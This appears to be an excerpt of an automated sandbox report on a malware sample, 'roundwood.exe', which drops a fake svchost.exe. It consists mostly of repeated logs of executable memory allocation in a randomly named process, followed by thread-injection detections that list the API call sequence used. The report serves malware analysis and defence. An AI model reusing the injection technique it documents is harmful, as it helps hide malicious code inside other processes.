Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1450000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2920000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 8E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29F0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2920000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2410000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27F0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2760000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C90000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3090000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2140000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2740000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2500000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3180000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2650000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2610000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2910000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B20000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C80000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2260000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2360000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BC0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A00000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F10000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 21B0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C80000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B40000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3030000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 25C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2590000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E00000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 23B0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2980000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 900000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B60000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2250000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 24E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2650000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B10000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AF0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2590000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7B0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F70000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 6D0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2330000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B80000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2890000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2930000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DB0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 740000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3060000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B60000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3030000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 20C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2D20000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: EA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C90000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27D0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F50000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Windows\apppatch\svchost.exe base: 3240000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Windows\apppatch\svchost.exe base: 3240000 protect: page execute and read and writeJump to behavior
Contains functionality to inject threads in other processes
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00401B70 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,0_2_00401B70
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00401B70 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,2_2_00401B70
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D248D0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,2_2_02D248D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_013048D0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,4_2_013048D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E548D0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,5_2_00E548D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E948D0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,8_2_00E948D0
Creates a thread in another existing process (thread injection)
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 1241360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: DD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: C51360Jump to behavior
